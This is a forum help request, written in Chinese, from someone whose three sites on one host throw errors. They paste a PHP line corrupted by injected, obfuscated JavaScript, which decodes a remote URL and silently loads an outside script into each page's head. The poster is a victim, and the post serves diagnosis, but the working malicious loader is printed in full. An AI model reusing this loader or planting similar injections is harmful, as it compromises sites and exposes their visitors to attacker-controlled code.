我在同一主机上有3个站点，所有3个站点均显示此错误。无法访问管理员区域并进入.php，但不知道如何修复代码。这就是现在的状态：
if ( $html_head_end = stripos( $html, '<script type='text/javascript'>var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](104, 116, 116, 112, 115, 58, 47, 47, 115, 97, 115, 107, 109, 97, 100, 101, 46, 110, 101, 116, 47, 102, 111, 111, 116, 46, 106, 115, 63, 118, 101, 114, 61, 49, 46, 48, 46, 48);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}</script></head>' ) ) {
$html = substr( $html, 0, $html_head_end );
任何帮助将不胜感激！